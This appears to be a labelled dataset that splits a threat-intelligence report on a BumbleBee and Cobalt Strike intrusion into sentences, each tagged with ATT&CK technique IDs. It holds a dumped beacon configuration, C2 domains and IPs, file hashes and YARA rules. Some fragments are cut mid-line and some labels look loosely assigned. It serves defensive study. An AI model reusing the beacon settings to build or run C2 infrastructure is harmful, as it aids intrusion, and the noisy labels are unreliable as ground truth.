{"sentence": "As we can see with one server, which was targeted, the win32 function CreateServiceA was used by the malware in order to create a remote service over RPC on the server.", "labels": ["T1106", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Cobalt Strike built-in PsExec Threat actors used the built-in Cobalt Strike jump psexec command to move laterally.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "On each usage of this feature, a remote service was created with random alphanumeric characters, service name and service file name, e.g. “<7-alphanumeric-characters>.exe”.", "labels": ["T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Below is an example of the service edc603a that was created on a Domain Controller:", "labels": ["T1078", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The account used to perform this lateral movement was one of the kerberoasted service accounts.", "labels": ["T1078", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The random (PsExec) service runs a rundll32.exe process without any arguments.", "labels": ["T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This process was beaconing to (108.62.12[.]174/dofixifa[.]co), the second Cobalt Strike C2, used during the last day of this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We observed this beacon performing various techniques (Process injections in svchost process via CreateRemoteThread, Default named pipes, etc.) Command and Control The graph below shows all communications to malicious IP addresses made by the dropped payloads or processes which threat actors injected into: BumbleBee 142.91.3[.]109 45.140.146[.]30 All the active Bumblebee command and control shared a common server configuration in regards to TLS setup.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "JA3: c424870876f1f2ef0dd36e7e569de906JA3s: 61be9ce3d068c08ff99a857f62352f9dCertificate:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Not Before: 2022/04/12 06:33:52 UTC Not After: 2023/04/12 06:33:52 UTC Issuer Org: Internet Widgits", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Pty Ltd Subject Org: Internet Widgits Pty Ltd Public Algorithm: rsaEncryption Cobalt Strike Cobalt Strike (CS) was extensively used during this intrusion, the threat actors used CS as the main Command and Control tool, dropped several payloads, and injected into multiple processes on different hosts.", "labels": ["T1055", "T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "C2 Servers Two Cobalt Strike Command and Control servers were used during this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The graph below shows beaconing activity over time, we can notice the continuous usage of the first C2 server (45.153.243[.]142/fuvataren[.]com) from day 1 and the second C2 server (108.62.12[.]174/dofixifa[.]co) during the last day of intrusion only (day 11): The main beacon wab.exe: 45.153.243[.]142 fuvataren[.]com JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]Not Before: 2022/04/15 00:00:00 UTC Not After: 2023/04/15 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: fuvataren.com", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[fuvataren.com ,www.fuvataren.com ]Public Algorithm: rsaEncryption Below is the Cobalt Strike configuration of this C2 exported from a sandbox analysis results: access_type: 512 beacon_type: 2048 host: fuvataren.com,/rs.js http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_method1: GET http_method2: POST jitter: 6144 polling_time: 5000 port_number: 443 sc_process32: %windir%\\syswow64\\rundll32.exe sc_process64:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%windir%\\sysnative\\rundll32.exe state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== unknown1 3.025605888e+09 unknown2 AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== uri: /en user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Chrome/62.0.3202 watermark: 1580103814 The PowerShell beacon: 108.62.12[.]174 dofixifa[.]co JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]Not Before: 2022/03/26 00:00:00 UTC Not After: 2023/03/26 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: dofixifa.com", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[dofixifa.com ,www.dofixifa.com ]Public Algorithm: rsaEncryption Full configuration extraction using 1768.py tool: Config found: xorkey b'.'", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x00000000 0x000031e0 0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https 0x0002 port", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 443 0x0003 sleeptime 0x0002 0x0004 5000", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0004 maxgetsize 0x0002 0x0004", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "2796542 0x0005 jitter 0x0001 0x0002 48 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro' 0x0043 DNS_STRATEGY 0x0001 0x0002 0 0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1 0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1 0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1 0x000e SpawnTo 0x0003 0x0010 (NULL ...)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x001d spawnto_x86 0x0003 0x0040 '%windir%\\\\syswow64\\\\rundll32.exe' 0x001e spawnto_x64 0x0003 0x0040 '%windir%\\\\sysnative\\\\rundll32.exe' 0x001f CryptoScheme 0x0001 0x0002 0 0x001a get-verb 0x0003 0x0010 'GET' 0x001b post-verb 0x0003 0x0010 'POST' 0x001c HttpPostChunk 0x0002 0x0004 0 0x0025 license-id 0x0002 0x0004 0 0x0026 bStageCleanup", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 1 0x0027 bCFGCaution", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 0 0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202' 0x000a post-uri 0x0003 0x0040 '/styles' 0x000b Malleable_C2_Instructions 0x0003 0x0100 Transform Input: [7:Input,4,2:338,3,8] Print Remove 338 bytes from begin BASE64 NETBIOS lowercase 0x000c http_get_header", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0003 0x0200 Const_host_header Host: gmw.cn Const_header Connection: close Build Metadata:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie] NETBIOS lowercase BASE64 Prepend wordpress_logged_in= Header Cookie 0x000d http_post_header 0x0003 0x0200 Const_host_header Host: gmw.cn Const_header", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Connection: close Const_header Accept-Encoding: gzip Const_header Content-Type: text/plain Build Output:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[7:Output,15,3,4] XOR with 4-byte random key BASE64 Print Build SessionId:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[7:SessionId,3,2:__session__id=,6:Cookie] BASE64 Prepend __session__id= Header Cookie 0x0036 HostHeader 0x0003 0x0080 (NULL ...)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0032 UsesCookies 0x0001 0x0002 1 0x0023 proxy_type 0x0001 0x0002 2 IE settings 0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\\x00\\x04' 0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\\x00\\x04' 0x0037 EXIT_FUNK", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 0 0x0028 killdate 0x0002 0x0004 0 0x0029 textSectionEnd 0x0002 0x0004 155989 0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\\x00p\\x02\\x00á\\x0b\\x03\\x00\\x00\\x10\\x03\\x00 ·\\x03\\x00\\x00À\\x03\\x00\\x1cÞ\\x03' 0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE 0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ 0x002d process-inject-min_alloc 0x0002 0x0004", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "12128 0x002e process-inject-transform-x86 0x0003 0x0100 '\\x00\\x00\\x00\\x05\\x90\\x90\\x90\\x90\\x90' 0x002f process-inject-transform-x64 0x0003 0x0100 '\\x00\\x00\\x00\\x05\\x90\\x90\\x90\\x90\\x90' 0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíð\\x81\\x0c[_I\\x8eßG1Ìm' 0x0033 process-inject-execute 0x0003 0x0080 '\\x01\\x03\\x04' 0x0034 process-inject-allocation-method 0x0001 0x0002 0 0x0000 Guessing Cobalt Strike version: 4.3 (max 0x0046) Default named pipes", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors used default CS configuration and default named pipes.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Named pipes were created in order to establish communication between CS processes: In this particular case, threat actors used default post-exploitation jobs, which have a pattern of postex_[0-9a-f]{4}.", "labels": ["T1090"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Below is the full list of all default named pipes spotted during this intrusion: \\postex_0dde \\postex_3e9b \\postex_4008 \\postex_4429 \\postex_55f8 \\postex_8248 \\postex_8c73 \\postex_972d \\postex_fc2e Named piped are commonly used by Cobalt Strike perform various techniques.", "labels": ["T1090"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Here is a Guide to Named Pipes and Hunting for Cobalt Strike Pipes from one of our contributors @svch0st.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk As mentioned before in the lateral tool transfer section, threat actors remotely dropped AnyDesk binary on a server from the beachhead: A new service was created (Event ID 7045) upon the execution of AnyDesk installer:", "labels": ["T1219", "T1543.003", "T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk logs, %ProgramData%\\AnyDesk\\ad_svc.trace", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "and", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%AppData%\\AnyDesk\\ad.trace, show that it was used during Day 1 and Day 7 of this intrusion, using the Administrator account each time.", "labels": ["T1078", "T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The usage of AnyDesk can be relatively easy to spot if you have the right logs (*.anydesk.com domains, AnyDesk user agent, etc.):", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The usage of AnyDesk also triggered two ET signatures: ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk Remote Desktop Software User-Agent Again, those are quick wins to add to your detection capabilities to detect the usage of unauthorized remote administration tools, commonly used by ransomware operators AnyDesk configuration file and the network logs revealed that the id used was 159889039 and the source IP was 108.177.235.25 (LeaseWeb USA – Cloud Provider).", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Impact There was no impact (exfiltration, data encryption, or destruction) during this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "However, the observed TTPs show common cybercrime threat actors tradecraft which may have lead to domain wide ransomware had the threat actors had enough time.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Indicators Files BC_invoice_Report_CORP_46.zip 5226b7138f4dd1dbb9f6953bd75a320b 6c87ca630c294773ab760d88587667f26e0213a3 c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127 document.lnk 3466ffaf086a29b8132e9e10d7111492 58739dc62eeac7374db9a8c07df7c7c36b550ce5 90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e namr.dll f856d7e7d485a2fc5b38faddd8c6ee5c c68e4d5eaae99d6f0a51eec48ace79a4fede3c09 2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218 wab.exe c68437cc9ed6645726119c12fdcb33e7 7a3db4b3359b60786fcbdaf0115191502fcded07 1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381 af.exe 9b02dd2a1a15e94922be3f85129083ac 2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 VulnRecon.exe 5839b4013cf6e25568f13d3fc4120795 d9832b46dd6f249191e9cbcfba2222c1702c499a eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef VulnRecon.dll 951d017ba31ecc6990c053225ee8f1e6 a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8 CommandLine.dll 3654f4e4c0858a9388c383b1225b8384 974ffbfae36e9a41ac672f9793ce1bee18f2e670 fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455 w.bat bba3ff461eee305c7408e31e427f57e6 3300c0c05b33691ecc04133885b7fc9513174746 59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2 s.bat 4b78228c08538208686b0f55353fa3bf 67707f863aa405a9b9a335704808c604845394bf 5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24 Network BumbleBee 142.91.3[.]109 45.140.146[.]30 Cobalt Strike 45.153.243[.]142 fuvataren[.]com 108.62.12[.]174 dofixifa[.]com Cobalt Strike Payload Hosting 104.243.33[.]50 Detections Network ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O) ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk Remote Desktop Software User-Agent(Snort VRT) MALWARE-OTHER CobaltStrike powershell web delivery attempt Sigma https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/security/win_iso_mount.yml https://github.com/SigmaHQ/sigma/blob/d459483ef6bb889fb8da1baa17a713a4f1aa8897/rules/windows/file_event/file_event_win_iso_file_recent.yml https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml https://github.com/SigmaHQ/sigma/blob/7f490d958aa7010f7f519e29bed4a45ecebd152e/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/sysmon/sysmon_lsass_memdump.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_adfind.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_network_anydesk.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_cobaltstrike_operator_bloopers_cmds.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/adfind_discovery https://github.com/SigmaHQ/sigma/blob/54d141eb585f38fc83a1dc15aa281a84c0416d4f/rules-deprecated/windows/powershell_suspicious_download.yml https://github.com/SigmaHQ/sigma/blob/b24e7ae9846f53cbbf61adad72f17af317c860a4/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml https://github.com/SigmaHQ/sigma/blob/e10fa684bdd0254b5ba5102feae293b8564f4628/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml https://github.com/SigmaHQ/sigma/blob/40adb0339e8e4b5286fc46e05b96e7b48e967e0c/rules/windows/process_creation/proc_creation_win_susp_recon_activity.yml https://github.com/SigmaHQ/sigma/blob/58f1d6fa2c679198f2932e3c361d5fa827effa95/rules/network/zeek/zeek_susp_kerberos_rc4.yml https://github.com/SigmaHQ/sigma/blob/f4ef4fcdc4eb780bcaa59f6756bffa5b0fbacd20/rules/windows/builtin/security/win_susp_rc4_kerberos.yml https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_susp_procdump.yml https://github.com/SigmaHQ/sigma/blob/33b370d49bd6aed85bd23827aa16a50bd06d691a/rules/windows/process_creation/proc_creation_win_anydesk.yml Yara /* YARA Rule Set Author: The DFIR Report Date: 2022-08-08 Identifier:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "BumbleBee Case 13387 Reference: https://thedfirreport.com */ /*", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "*/ rule bumblebee_13387_VulnRecon_dll { meta: description = \"BumbleBee - file VulnRecon.dll\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8\" strings: $x1 = \"Use VulnRecon.exe -i, --SystemInfo to execute this command\" fullword wide $x2 = \"Use VulnRecon.exe -v, --Vulnerability to execute this command\" fullword wide $x3 = \"Use VulnRecon.exe -h, --HotFixes to execute this command\" fullword wide $x4 = \"Use VulnRecon.exe -m, --MicrosoftUpdates to execute this command\" fullword wide $x5 = \"Use VulnRecon.exe -s, --SupportedCve to execute this command\" fullword wide $s6 = \"VulnRecon.dll\" fullword wide $s7 = \"VulnRecon.Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "SystemCommands\" fullword ascii $s8 = \"VulnRecon.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "CveCommands\" fullword ascii $s9 = \"VulnRecon.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Commands\" fullword ascii $s10 = \"VulnRecon.CommandLine\" fullword ascii $s11 = \"D:\\\\work\\\\rt\\\\VulnRecon\\\\VulnRecon\\\\obj\\\\Release\\\\net5.0\\\\VulnRecon.pdb\" fullword ascii $s12 = \"VulnRecon.Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "ToolsCommand\" fullword ascii $s13 = \"Using VulnRecon.exe -o or VulnRecon.exe --OptionName\" fullword wide $s14 = \"commandVersion\" fullword ascii $s15 = \"GetSystemInfoCommand\" fullword ascii $s16 = \"CreateGetSupportedCveCommand\" fullword ascii $s17 = \"CreateWindowsVersionCommand\" fullword ascii $s18 = \" <requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"/>\" fullword ascii $s19 = \"get_CommandVersion\" fullword ascii $s20 = \"<CommandVersion>k__BackingField\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 50KB and 1 of ($x*) and 4 of them } rule bumblebee_13387_VulnRecon_exe { meta: description = \"BumbleBee - file VulnRecon.exe\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef\" strings: $s1 = \"hostfxr.dll\" fullword wide $s2 = \"--- Invoked %s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[version: %s, commit hash: %s] main = {\" fullword wide $s3 = \"This executable is not bound to a managed DLL to execute.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The binding value is: '%s'\" fullword wide $s4 = \"D:\\\\a\\\\_work\\\\1\\\\s\\\\artifacts\\\\obj\\\\win-x64.Release\\\\corehost\\\\cli\\\\apphost\\\\standalone\\\\Release\\\\apphost.pdb\" fullword ascii $s5 = \"VulnRecon.dll\" fullword wide $s6 = \"api-ms-win-crt-runtime-l1-1-0.dll\" fullword ascii $s7 = \" - %s&apphost_version=%s\" fullword wide $s8 = \"api-ms-win-crt-convert-l1-1-0.dll\" fullword ascii $s9 = \"api-ms-win-crt-math-l1-1-0.dll\" fullword ascii $s10 = \"api-ms-win-crt-time-l1-1-0.dll\" fullword ascii $s11 = \"api-ms-win-crt-stdio-l1-1-0.dll\" fullword ascii $s12 = \"api-ms-win-crt-heap-l1-1-0.dll\" fullword ascii $s13 = \"api-ms-win-crt-string-l1-1-0.dll\" fullword ascii $s14 = \"The managed DLL bound to this executable is: '%s'\" fullword wide $s15 = \"A fatal error was encountered.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This executable was not bound to load a managed DLL.\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fullword wide $s16 = \"api-ms-win-crt-locale-l1-1-0.dll\" fullword ascii $s17 = \"Showing error dialog for application: '%s' - error code: 0x%x - url: '%s'\" fullword wide $s18 = \"Failed to resolve full path of the current executable", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[%s]\" fullword wide $s19 = \"https://go.microsoft.com/fwlink/?linkid=798306\" fullword wide $s20 = \"The managed DLL bound to this executable could not be retrieved from the executable image.\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fullword wide condition: uint16(0) == 0x5a4d and filesize < 400KB and all of them } rule bumblebee_13387_wab { meta: description = \"BumbleBee - file wab.exe\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381\" strings: $s1 = \"possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage \" ascii $s2 = \"pfxvex450gd81.exe\" fullword ascii $s3 = \"31403272414143\" ascii /* hex encoded string '1@2rAAC' */ $s4 = \"s wolf save detail surgery short vigour uttered fake proposal moustache accustomed lock been vegetable maximum ownership specifi\" ascii $s5 = \"130 Dial password %d propose7177!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Syllable( warrior stretching Angry 83) sabotage %s\" fullword wide $s6 = \"possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage \" ascii $s7 = \"accomplish course Content 506) arched organ Travels\" fullword ascii $s8 = \"123 serve edit.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "693 Poison@ mercy \" fullword wide $s9 = \"Top wealthy!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fish 760? pier%complaint", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "July nicer!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "587)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
